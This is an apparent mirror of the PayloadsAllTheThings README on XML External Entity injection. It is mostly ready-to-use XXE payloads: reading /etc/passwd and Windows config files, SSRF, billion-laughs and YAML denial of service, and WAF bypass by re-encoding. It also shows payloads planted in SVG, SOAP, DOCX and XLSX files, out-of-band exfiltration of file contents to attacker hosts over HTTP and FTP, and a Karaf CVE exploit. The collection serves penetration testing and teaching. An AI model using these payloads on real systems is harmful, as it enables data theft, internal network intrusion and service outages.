index.md (29214B)
1 --- 2 title: "XML External Entity" 3 topic: "XXE Injection" 4 topicSlug: "xxe-injection" 5 sourcePath: "XXE Injection/README.md" 6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/XXE%20Injection/README.md" 7 sha: "3ac27901c711" 8 isReadme: true 9 --- 10 11 # XML External Entity 12 13 > An XML External Entity attack is a type of attack against an application that parses XML input and allows XML entities. XML entities can be used to tell the XML parser to fetch specific content on the server. 14 15 ## Summary 16 17 - [Tools](#tools) 18 - [Detect The Vulnerability](#detect-the-vulnerability) 19 - [Exploiting XXE to Retrieve Files](#exploiting-xxe-to-retrieve-files) 20 - [Classic XXE](#classic-xxe) 21 - [Classic XXE Base64 Encoded](#classic-xxe-base64-encoded) 22 - [PHP Wrapper Inside XXE](#php-wrapper-inside-xxe) 23 - [XInclude Attacks](#xinclude-attacks) 24 - [Exploiting XXE to Perform SSRF Attacks](#exploiting-xxe-to-perform-ssrf-attacks) 25 - [Exploiting XXE to Perform a Denial of Service](#exploiting-xxe-to-perform-a-denial-of-service) 26 - [Billion Laugh Attack](#billion-laugh-attack) 27 - [YAML Attack](#yaml-attack) 28 - [Parameters Laugh Attack](#parameters-laugh-attack) 29 - [Exploiting Error Based XXE](#exploiting-error-based-xxe) 30 - [Error Based - Using Local DTD File](#error-based---using-local-dtd-file) 31 - [Linux Local DTD](#linux-local-dtd) 32 - [Windows Local DTD](#windows-local-dtd) 33 - [Error Based - Using Remote DTD](#error-based---using-remote-dtd) 34 - [Exploiting Blind XXE to Exfiltrate Data Out Of Band](#exploiting-blind-xxe-to-exfiltrate-data-out-of-band) 35 - [Basic Blind XXE](#basic-blind-xxe) 36 - [Out of Band XXE](#out-of-band-xxe) 37 - [XXE OOB with DTD and PHP Filter](#xxe-oob-with-dtd-and-php-filter) 38 - [XXE OOB with Apache Karaf](#xxe-oob-with-apache-karaf) 39 - [WAF Bypasses](#waf-bypasses) 40 - [Bypass via Character Encoding](#bypass-via-character-encoding) 41 - [XXE on JSON Endpoints](#xxe-on-json-endpoints) 42 - [XXE in Exotic Files](#xxe-in-exotic-files) 43 - [XXE Inside SVG](#xxe-inside-svg) 44 - [XXE Inside SOAP](#xxe-inside-soap) 45 - [XXE Inside DOCX file](#xxe-inside-docx-file) 46 - [XXE Inside XLSX file](#xxe-inside-xlsx-file) 47 - [XXE Inside DTD file](#xxe-inside-dtd-file) 48 - [Labs](#labs) 49 - [References](#references) 50 51 ## Tools 52 53 - [staaldraad/xxeftp](https://github.com/staaldraad/xxeserv) - A mini webserver with FTP support for XXE payloads 54 - [lc/230-OOB](https://github.com/lc/230-OOB) - An Out-of-Band XXE server for retrieving file contents over FTP and payload generation via [http://xxe.sh/](http://xxe.sh/) 55 - [enjoiz/XXEinjector](https://github.com/enjoiz/XXEinjector) - Tool for automatic exploitation of XXE vulnerability using direct and different out of band methods 56 - [BuffaloWill/oxml_xxe](https://github.com/BuffaloWill/oxml_xxe) - A tool for embedding XXE/XML exploits into different filetypes (DOCX/XLSX/PPTX, ODT/ODG/ODP/ODS, SVG, XML, PDF, JPG, GIF) 57 - [whitel1st/docem](https://github.com/whitel1st/docem) - Utility to embed XXE and XSS payloads in docx,odt,pptx,etc 58 - [bytehope/wwe](https://github.com/bytehope/wwe) - PoC tool (based on wrapwrap & lightyear ) to demonstrate XXE in PHP with only LIBXML_DTDLOAD or LIBXML_DTDATTR flag set 59 60 ## Detect The Vulnerability 61 62 **Internal Entity**: If an entity is declared within a DTD it is called an internal entity. 63 Syntax: `<!ENTITY entity_name "entity_value">` 64 65 **External Entity**: If an entity is declared outside a DTD it is called an external entity. Identified by `SYSTEM`. 66 Syntax: `<!ENTITY entity_name SYSTEM "entity_value">` 67 68 Basic entity test, when the XML parser parses the external entities the result should contain "John" in `firstName` and "Doe" in `lastName`. Entities are defined inside the `DOCTYPE` element. 69 70 ```xml 71 <!--?xml version="1.0" ?--> 72 <!DOCTYPE replace [<!ENTITY example "Doe"> ]> 73 <userInfo> 74 <firstName>John</firstName> 75 <lastName>&example;</lastName> 76 </userInfo> 77 ``` 78 79 It might help to set the `Content-Type: application/xml` in the request when sending XML payload to the server. 80 81 These are different types of entities in XML: 82 83 | Type | Prefix | Where usable | 84 | ---------------- | -------- | --------------------------- | 85 | General entity | `&name;` | Inside XML document content | 86 | Parameter entity | `%name;` | Only inside the DTD | 87 88 ## Exploiting XXE to Retrieve Files 89 90 ### Classic XXE 91 92 We try to display the content of the file `/etc/passwd`. 93 94 ```xml 95 <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root> 96 ``` 97 98 ```xml 99 <?xml version="1.0"?> 100 <!DOCTYPE data [ 101 <!ELEMENT data (#ANY)> 102 <!ENTITY file SYSTEM "file:///etc/passwd"> 103 ]> 104 <data>&file;</data> 105 ``` 106 107 ```xml 108 <?xml version="1.0" encoding="ISO-8859-1"?> 109 <!DOCTYPE foo [ 110 <!ELEMENT foo ANY > 111 <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> 112 ``` 113 114 ```xml 115 <?xml version="1.0" encoding="ISO-8859-1"?> 116 <!DOCTYPE foo [ 117 <!ELEMENT foo ANY > 118 <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo> 119 ``` 120 121 :warning: `SYSTEM` and `PUBLIC` are almost synonym. 122 123 ```ps1 124 <!ENTITY % xxe PUBLIC "Random Text" "URL"> 125 <!ENTITY xxe PUBLIC "Any TEXT" "URL"> 126 ``` 127 128 ### Classic XXE Base64 Encoded 129 130 ```xml 131 <!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/> 132 ``` 133 134 ### PHP Wrapper Inside XXE 135 136 ```xml 137 <!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]> 138 <contacts> 139 <contact> 140 <name>Jean &xxe; Dupont</name> 141 <phone>00 11 22 33 44</phone> 142 <address>42 rue du CTF</address> 143 <zipcode>75000</zipcode> 144 <city>Paris</city> 145 </contact> 146 </contacts> 147 ``` 148 149 ```xml 150 <?xml version="1.0" encoding="ISO-8859-1"?> 151 <!DOCTYPE foo [ 152 <!ELEMENT foo ANY > 153 <!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3" > 154 ]> 155 <foo>&xxe;</foo> 156 ``` 157 158 ### XInclude Attacks 159 160 When you can't modify the **DOCTYPE** element use the **XInclude** to target 161 162 ```xml 163 <foo xmlns:xi="http://www.w3.org/2001/XInclude"> 164 <xi:include parse="text" href="file:///etc/passwd"/></foo> 165 ``` 166 167 ## Exploiting XXE to Perform SSRF Attacks 168 169 XXE can be combined with the [SSRF vulnerability](/payloads/server-side-request-forgery) to target another service on the network. 170 171 ```xml 172 <?xml version="1.0" encoding="ISO-8859-1"?> 173 <!DOCTYPE foo [ 174 <!ELEMENT foo ANY > 175 <!ENTITY xxe SYSTEM "http://internal.service/secret_pass.txt" > 176 ]> 177 <foo>&xxe;</foo> 178 ``` 179 180 ## Exploiting XXE to Perform a Denial of Service 181 182 :warning: : These attacks might kill the service or the server, do not use them on the production. 183 184 ### Billion Laugh Attack 185 186 ```xml 187 <!DOCTYPE data [ 188 <!ENTITY a0 "dos" > 189 <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> 190 <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> 191 <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;"> 192 <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;"> 193 ]> 194 <data>&a4;</data> 195 ``` 196 197 ### YAML Attack 198 199 ```xml 200 a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] 201 b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] 202 c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] 203 d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] 204 e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] 205 f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] 206 g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] 207 h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] 208 i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] 209 ``` 210 211 ### Parameters Laugh Attack 212 213 A variant of the Billion Laughs attack, using delayed interpretation of parameter entities, by Sebastian Pipping. 214 215 ```xml 216 <!DOCTYPE r [ 217 <!ENTITY % pe_1 "<!---->"> 218 <!ENTITY % pe_2 "%pe_1;<!---->%pe_1;"> 219 <!ENTITY % pe_3 "%pe_2;<!---->%pe_2;"> 220 <!ENTITY % pe_4 "%pe_3;<!---->%pe_3;"> 221 %pe_4; 222 ]> 223 <r/> 224 ``` 225 226 ## Exploiting Error Based XXE 227 228 ### Error Based - Using Local DTD File 229 230 If error based exfiltration is possible, you can still rely on a local DTD to do concatenation tricks. Payload to confirm that error message include filename. 231 232 ```xml 233 <!DOCTYPE root [ 234 <!ENTITY % local_dtd SYSTEM "file:///abcxyz/"> 235 %local_dtd; 236 ]> 237 <root></root> 238 ``` 239 240 - [GoSecure/dtd-finder](https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md) - List DTDs and generate XXE payloads using those local DTDs. 241 242 #### Linux Local DTD 243 244 Short list of DTD files already stored on Linux systems; list them with `locate .dtd`: 245 246 ```xml 247 /usr/share/xml/fontconfig/fonts.dtd 248 /usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd 249 /usr/share/xml/svg/svg10.dtd 250 /usr/share/xml/svg/svg11.dtd 251 /usr/share/yelp/dtd/docbookx.dtd 252 ``` 253 254 The file `/usr/share/xml/fontconfig/fonts.dtd` has an injectable entity `%constant` at line 148: `<!ENTITY % constant 'int|double|string|matrix|bool|charset|langset|const'>` 255 256 The final payload becomes: 257 258 ```xml 259 <!DOCTYPE message [ 260 <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd"> 261 <!ENTITY % constant 'aaa)> 262 <!ENTITY % file SYSTEM "file:///etc/passwd"> 263 <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///patt/%file;'>"> 264 %eval; 265 %error; 266 <!ELEMENT aa (bb'> 267 %local_dtd; 268 ]> 269 <message>Text</message> 270 ``` 271 272 #### Windows Local DTD 273 274 Payloads from [infosec-au/xxe-windows.md](https://gist.github.com/infosec-au/2c60dc493053ead1af42de1ca3bdcc79). 275 276 - Disclose local file 277 278 ```xml 279 <!DOCTYPE doc [ 280 <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> 281 <!ENTITY % SuperClass '> 282 <!ENTITY % file SYSTEM "file://D:\webserv2\services\web.config"> 283 <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://t/#%file;'>"> 284 %eval; 285 %error; 286 <!ENTITY test "test"' 287 > 288 %local_dtd; 289 ]><xxx>anything</xxx> 290 ``` 291 292 - Disclose HTTP Response 293 294 ```xml 295 <!DOCTYPE doc [ 296 <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> 297 <!ENTITY % SuperClass '> 298 <!ENTITY % file SYSTEM "https://erp.company.com"> 299 <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://test/#%file;'>"> 300 %eval; 301 %error; 302 <!ENTITY test "test"' 303 > 304 %local_dtd; 305 ]><xxx>anything</xxx> 306 ``` 307 308 ### Error Based - Using Remote DTD 309 310 **Payload to trigger the XXE**: 311 312 ```xml 313 <?xml version="1.0" ?> 314 <!DOCTYPE message [ 315 <!ENTITY % ext SYSTEM "http://[ATTACKER.DOMAIN.TLD]/ext.dtd"> 316 %ext; 317 ]> 318 <message></message> 319 ``` 320 321 **Content of ext.dtd**: 322 323 ```xml 324 <!ENTITY % file SYSTEM "file:///etc/passwd"> 325 <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> 326 %eval; 327 %error; 328 ``` 329 330 **Alternative content of ext.dtd**: 331 332 ```xml 333 <!ENTITY % data SYSTEM "file:///etc/passwd"> 334 <!ENTITY % eval "<!ENTITY % leak SYSTEM '%data;:///'>"> 335 %eval; 336 %leak; 337 ``` 338 339 Let's break down the payload: 340 341 1. `<!ENTITY % file SYSTEM "file:///etc/passwd">` 342 This line defines an external entity named file that references the content of the file /etc/passwd (a Unix-like system file containing user account details). 343 2. `<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">` 344 This line defines an entity eval that holds another entity definition. This other entity (error) is meant to reference a nonexistent file and append the content of the file entity (the `/etc/passwd` content) to the end of the file path. The `%` is a URL-encoded '`%`' used to reference an entity inside an entity definition. 345 3. `%eval;` 346 This line uses the eval entity, which causes the entity error to be defined. 347 4. `%error;` 348 Finally, this line uses the error entity, which attempts to access a nonexistent file with a path that includes the content of `/etc/passwd`. Since the file doesn't exist, an error will be thrown. If the application reports back the error to the user and includes the file path in the error message, then the content of `/etc/passwd` would be disclosed as part of the error message, revealing sensitive information. 349 350 ## Exploiting Blind XXE to Exfiltrate Data Out of Band 351 352 Sometimes you won't have a result outputted in the page but you can still extract the data with an out of band attack. 353 354 ### Basic Blind XXE 355 356 The easiest way to test for a blind XXE is to try to load a remote resource such as a callback endpoint controlled by the tester. 357 358 ```xml 359 <?xml version="1.0" ?> 360 <!DOCTYPE root [ 361 <!ENTITY % ext SYSTEM "http://[ATTACKER.DOMAIN.TLD]/x"> %ext; 362 ]> 363 <r></r> 364 ``` 365 366 ```xml 367 <!DOCTYPE root [<!ENTITY test SYSTEM 'http://[ATTACKER.DOMAIN.TLD]'>]> 368 <root>&test;</root> 369 ``` 370 371 Send the content of `/etc/passwd` to `http://[ATTACKER.DOMAIN.TLD]`, you may receive only the first line. 372 373 ```xml 374 <?xml version="1.0" encoding="ISO-8859-1"?> 375 <!DOCTYPE foo [ 376 <!ELEMENT foo ANY > 377 <!ENTITY % xxe SYSTEM "file:///etc/passwd" > 378 <!ENTITY callhome SYSTEM "http://[ATTACKER.DOMAIN.TLD]/?%xxe;"> 379 ] 380 > 381 <foo>&callhome;</foo> 382 ``` 383 384 ### Out of Band XXE 385 386 > Yunusov, 2013 387 388 ```xml 389 <?xml version="1.0" encoding="utf-8"?> 390 <!DOCTYPE data SYSTEM "http://[ATTACKER.DOMAIN.TLD]/parameterEntity_oob.dtd"> 391 <data>&send;</data> 392 393 File stored on http://[ATTACKER.DOMAIN.TLD]/parameterEntity_oob.dtd 394 <!ENTITY % file SYSTEM "file:///sys/power/image_size"> 395 <!ENTITY % all "<!ENTITY send SYSTEM 'http://[ATTACKER.DOMAIN.TLD]/?%file;'>"> 396 %all; 397 ``` 398 399 ### XXE OOB with DTD and PHP Filter 400 401 ```xml 402 <?xml version="1.0" ?> 403 <!DOCTYPE r [ 404 <!ELEMENT r ANY > 405 <!ENTITY % sp SYSTEM "http://10.10.10.10/dtd.xml"> 406 %sp; 407 %param1; 408 ]> 409 <r>&exfil;</r> 410 411 File stored on http://10.10.10.10/dtd.xml 412 <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> 413 <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.10.10/dtd.xml?%data;'>"> 414 ``` 415 416 ### XXE OOB with Apache Karaf 417 418 CVE-2018-11788 affecting versions: 419 420 - Apache Karaf <= 4.2.1 421 - Apache Karaf <= 4.1.6 422 423 ```xml 424 <?xml version="1.0" encoding="UTF-8"?> 425 <!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://[ATTACKER.DOMAIN.TLD]"> %dtd;] 426 <features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 427 xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0"> 428 <feature name="deployer" version="2.0" install="auto"> 429 </feature> 430 </features> 431 ``` 432 433 Send the XML file to the `deploy` folder. 434 435 Ref. [brianwrf/CVE-2018-11788](https://github.com/brianwrf/CVE-2018-11788) 436 437 ## WAF Bypasses 438 439 ### Bypass via Character Encoding 440 441 XML parsers uses 4 methods to detect encoding: 442 443 - HTTP Content Type: `Content-Type: text/xml; charset=utf-8` 444 - Reading Byte Order Mark (BOM) 445 - Reading first symbols of document 446 - UTF-8 (3C 3F 78 6D) 447 - UTF-16BE (00 3C 00 3F) 448 - UTF-16LE (3C 00 3F 00) 449 - XML declaration: `<?xml version="1.0" encoding="UTF-8"?>` 450 451 | Encoding | BOM | Example | | 452 | -------- | -------- | ----------------------------------- | ------------ | 453 | UTF-8 | EF BB BF | EF BB BF 3C 3F 78 6D 6C | ...<?xml | 454 | UTF-16BE | FE FF | FE FF 00 3C 00 3F 00 78 00 6D 00 6C | ...<.?.x.m.l | 455 | UTF-16LE | FF FE | FF FE 3C 00 3F 00 78 00 6D 00 6C 00 | ..<.?.x.m.l. | 456 457 **Example**: We can convert the payload to `UTF-16` using [iconv](https://man7.org/linux/man-pages/man1/iconv.1.html) to bypass some WAF: 458 459 ```bash 460 cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml 461 ``` 462 463 ### XXE on JSON Endpoints 464 465 In the HTTP request try to switch the `Content-Type` from **JSON** to **XML**, 466 467 | Content Type | Data | 468 | ------------------ | ---------------------------------------------------------------------------------------------- | 469 | `application/json` | `{"search":"name","value":"test"}` | 470 | `application/xml` | `<?xml version="1.0" encoding="UTF-8" ?><root><search>name</search><value>data</value></root>` | 471 472 - XML documents must contain one root (`<root>`) element that is the parent of all other elements. 473 - The data must be converted to XML too, otherwise the server will respond with an error. 474 475 ```json 476 { 477 "errors":{ 478 "errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity." 479 } 480 } 481 ``` 482 483 - [NetSPI/Content-Type Converter](https://github.com/NetSPI/Burp-Extensions/releases/tag/1.4) 484 485 ## XXE in Exotic Files 486 487 ### XXE Inside SVG 488 489 ```xml 490 <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"> 491 <image xlink:href="expect://ls" width="200" height="200"></image> 492 </svg> 493 ``` 494 495 **Classic**: 496 497 ```xml 498 <?xml version="1.0" standalone="yes"?> 499 <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]> 500 <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> 501 <text font-size="16" x="0" y="16">&xxe;</text> 502 </svg> 503 ``` 504 505 **OOB via SVG rasterization**: 506 507 _xxe.svg_: 508 509 ```xml 510 <?xml version="1.0" standalone="yes"?> 511 <!DOCTYPE svg [ 512 <!ELEMENT svg ANY > 513 <!ENTITY % sp SYSTEM "http://10.10.10.10:8080/xxe.xml"> 514 %sp; 515 %param1; 516 ]> 517 <svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red"> 518 <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text> 519 <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/> 520 <flowRoot font-size="15"> 521 <flowRegion> 522 <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/> 523 </flowRegion> 524 <flowDiv> 525 <flowPara>&exfil;</flowPara> 526 </flowDiv> 527 </flowRoot> 528 </svg> 529 ``` 530 531 _xxe.xml_: 532 533 ```xml 534 <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname"> 535 <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://10.10.10.10:2121/%data;'>"> 536 ``` 537 538 ### XXE Inside SOAP 539 540 ```xml 541 <soap:Body> 542 <foo> 543 <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://10.10.10.10:22/"> %dtd;]><xxx/>]]> 544 </foo> 545 </soap:Body> 546 ``` 547 548 ### XXE Inside DOCX file 549 550 Format of an Open XML file (inject the payload in any .xml file): 551 552 - /_rels/.rels 553 - [Content_Types].xml 554 - Default Main Document Part 555 - /word/document.xml 556 - /ppt/presentation.xml 557 - /xl/workbook.xml 558 559 Then update the file `zip -u xxe.docx [Content_Types].xml` 560 561 Tool : <https://github.com/BuffaloWill/oxml_xxe> 562 563 ```xml 564 DOCX/XLSX/PPTX 565 ODT/ODG/ODP/ODS 566 SVG 567 XML 568 PDF (experimental) 569 JPG (experimental) 570 GIF (experimental) 571 ``` 572 573 ### XXE Inside XLSX file 574 575 Structure of the XLSX: 576 577 ```ps1 578 $ 7z l xxe.xlsx 579 [...] 580 Date Time Attr Size Compressed Name 581 ------------------- ----- ------------ ------------ ------------------------ 582 2021-10-17 15:19:00 ..... 578 223 _rels/.rels 583 2021-10-17 15:19:00 ..... 887 508 xl/workbook.xml 584 2021-10-17 15:19:00 ..... 4451 643 xl/styles.xml 585 2021-10-17 15:19:00 ..... 2042 899 xl/worksheets/sheet1.xml 586 2021-10-17 15:19:00 ..... 549 210 xl/_rels/workbook.xml.rels 587 2021-10-17 15:19:00 ..... 201 160 xl/sharedStrings.xml 588 2021-10-17 15:19:00 ..... 731 352 docProps/core.xml 589 2021-10-17 15:19:00 ..... 410 246 docProps/app.xml 590 2021-10-17 15:19:00 ..... 1367 345 [Content_Types].xml 591 ------------------- ----- ------------ ------------ ------------------------ 592 2021-10-17 15:19:00 11216 3586 9 files 593 ``` 594 595 Extract Excel file: `7z x -oXXE xxe.xlsx` 596 597 Rebuild Excel file: 598 599 ```ps1 600 cd XXE 601 zip -r -u ../xxe.xlsx * 602 ``` 603 604 Warning: Use `zip -u` (<https://infozip.sourceforge.net/Zip.html>) and not `7z u` / `7za u` (<https://p7zip.sourceforge.net/>) or `7zz` (<https://www.7-zip.org/>) because they won't recompress it the same way and many Excel parsing libraries will fail to recognize it as a valid Excel file. A valid magic byte signature with (`file XXE.xlsx`) will be shown as `Microsoft Excel 2007+` (with `zip -u`) and an invalid one will be shown as `Microsoft OOXML`. Alternatively, with 7z you can specify the correct compression algorithm with: `7z a -tzip` to get the correct signature. 605 606 Add your blind XXE payload inside `xl/workbook.xml`. 607 608 ```xml 609 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 610 <!DOCTYPE cdl [<!ELEMENT cdl ANY ><!ENTITY % asd SYSTEM "http://10.10.10.10:8000/xxe.dtd">%asd;%c;]> 611 <cdl>&rrr;</cdl> 612 <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> 613 ``` 614 615 Alternatively, add your payload in `xl/sharedStrings.xml`: 616 617 ```xml 618 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 619 <!DOCTYPE cdl [<!ELEMENT t ANY ><!ENTITY % asd SYSTEM "http://10.10.10.10:8000/xxe.dtd">%asd;%c;]> 620 <sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="10" uniqueCount="10"><si><t>&rrr;</t></si><si><t>testA2</t></si><si><t>testA3</t></si><si><t>testA4</t></si><si><t>testA5</t></si><si><t>testB1</t></si><si><t>testB2</t></si><si><t>testB3</t></si><si><t>testB4</t></si><si><t>testB5</t></si></sst> 621 ``` 622 623 Using a remote DTD will save us the time to rebuild a document each time we want to retrieve a different file. 624 Instead we build the document once and then change the DTD. 625 And using FTP instead of HTTP allows to retrieve much larger files. 626 627 `xxe.dtd` 628 629 ```xml 630 <!ENTITY % d SYSTEM "file:///etc/passwd"> 631 <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://10.10.10.10:2121/%d;'>"> 632 ``` 633 634 Serve DTD and receive FTP payload using [staaldraad/xxeserv](https://github.com/staaldraad/xxeserv): 635 636 ```ps1 637 xxeserv -o files.log -p 2121 -w -wd public -wp 8000 638 ``` 639 640 ### XXE Inside DTD file 641 642 Most XXE payloads detailed above require control over both the DTD or `DOCTYPE` block as well as the `xml` file. 643 In rare situations, you may only control the DTD file and won't be able to modify the `xml` file. For example, a MITM. 644 When all you control is the DTD file, and you do not control the `xml` file, XXE may still be possible with this payload. 645 646 ```xml 647 <!-- Load the contents of a sensitive file into a variable --> 648 <!ENTITY % payload SYSTEM "file:///etc/passwd"> 649 <!-- Use that variable to construct an HTTP get request with the file contents in the URL --> 650 <!ENTITY % param1 '<!ENTITY % external SYSTEM "http://[ATTACKER.DOMAIN.TLD]/x=%payload;">'> 651 %param1; 652 %external; 653 ``` 654 655 ## Labs 656 657 - [Root Me - XML External Entity](https://www.root-me.org/en/Challenges/Web-Server/XML-External-Entity) 658 - [PortSwigger Labs for XXE](https://portswigger.net/web-security/all-labs#xml-external-entity-xxe-injection) 659 - [Exploiting XXE using external entities to retrieve files](https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files) 660 - [Exploiting XXE to perform SSRF attacks](https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf) 661 - [Blind XXE with out-of-band interaction](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction) 662 - [Blind XXE with out-of-band interaction via XML parameter entities](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction-using-parameter-entities) 663 - [Exploiting blind XXE to exfiltrate data using a malicious external DTD](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration) 664 - [Exploiting blind XXE to retrieve data via error messages](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages) 665 - [Exploiting XInclude to retrieve files](https://portswigger.net/web-security/xxe/lab-xinclude-attack) 666 - [Exploiting XXE via image file upload](https://portswigger.net/web-security/xxe/lab-xxe-via-file-upload) 667 - [Exploiting XXE to retrieve data by repurposing a local DTD](https://portswigger.net/web-security/xxe/blind/lab-xxe-trigger-error-message-by-repurposing-local-dtd) 668 - [GoSecure workshop - Advanced XXE Exploitation](https://gosecure.github.io/xxe-workshop) 669 670 ## References 671 672 - [A Deep Dive into XXE Injection - Trenton Gordon - July 22, 2019](https://web.archive.org/web/20250511144639/https://www.synack.com/blog/a-deep-dive-into-xxe-injection/) 673 - [Automating local DTD discovery for XXE exploitation - Philippe Arteau - July 16, 2019](https://web.archive.org/web/20240119113458/https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation/) 674 - [Blind OOB XXE At UBER 26+ Domains Hacked - Raghav Bisht - August 5, 2016](https://web.archive.org/web/20180215154806/https://nerdint.blogspot.hk:80/2016/08/blind-oob-xxe-at-uber-26-domains-hacked.html) 675 - [CVE-2019-8986: SOAP XXE in TIBCO JasperReports Server - Julien Szlamowicz, Sebastien Dudek - March 11, 2019](https://web.archive.org/web/20191231121853/https://www.synacktiv.com/ressources/advisories/TIBCO_JasperReports_Server_XXE.pdf) 676 - [Data exfiltration using XXE on a hardened server - Ritik Singh - January 29, 2022](https://web.archive.org/web/20221121024329/https://infosecwriteups.com/data-exfiltration-using-xxe-on-a-hardened-server-ef3a3e5893ac) 677 - [Detecting and exploiting XXE in SAML Interfaces - Christian Mainka (@CheariX) - November 6, 2014](https://web.archive.org/web/20251209035938/http://web-in-security.blogspot.fr/2014/11/detecting-and-exploiting-xxe-in-saml.html) 678 - [Exploiting XXE in file upload functionality - Will Vandevanter (@_will_is_) - November 19, 2015](https://web.archive.org/web/20260306153214/https://blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf) 679 - [EXPLOITING XXE WITH EXCEL - Marc Wickenden - November 12, 2018](https://web.archive.org/web/20260129040336/https://www.4armed.com/blog/exploiting-xxe-with-excel/) 680 - [Exploiting XXE with local DTD files - Arseniy Sharoglazov - December 12, 2018](https://web.archive.org/web/20181213212434/https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/) 681 - [From blind XXE to root-level file read access - Pieter Hiele - December 12, 2018](https://web.archive.org/web/20181212171659/https://www.honoki.net/2018/12/from-blind-xxe-to-root-level-file-read-access/) 682 - [How we got read access on Google’s production servers - Detectify - April 11, 2014](https://web.archive.org/web/20230902033341/https://blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers/) 683 - [Impossible XXE in PHP - Aleksandr Zhurnakov - March 11, 2025](https://web.archive.org/web/20260131091306/https://swarm.ptsecurity.com/impossible-xxe-in-php/) 684 - [Midnight Sun CTF 2019 Quals - Rubenscube - jbz - April 6, 2019](https://web.archive.org/web/20260302041500/https://jbz.team/midnightsunctfquals2019/Rubenscube) 685 - [OOB XXE through SAML - Sean Melia (@seanmeals) - February 5, 2017](https://web.archive.org/web/20170205151900/https://seanmelia.files.wordpress.com/2016/01/out-of-band-xml-external-entity-injection-via-saml-redacted.pdf) 686 - [Payloads for Cisco and Citrix - Arseniy Sharoglazov - December 13, 2018](https://web.archive.org/web/20181213212434/https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/) 687 - [Pentest XXE - @phonexicum - March 9, 2020](https://web.archive.org/web/20260306152955/https://phonexicum.github.io/infosec/xxe.html) 688 - [Playing with Content-Type – XXE on JSON Endpoints - Antti Rantasaari - April 20, 2015](https://web.archive.org/web/20240615071332/https://www.netspi.com/blog/technical-blog/web-application-pentesting/playing-content-type-xxe-json-endpoints/) 689 - [REDTEAM TALES 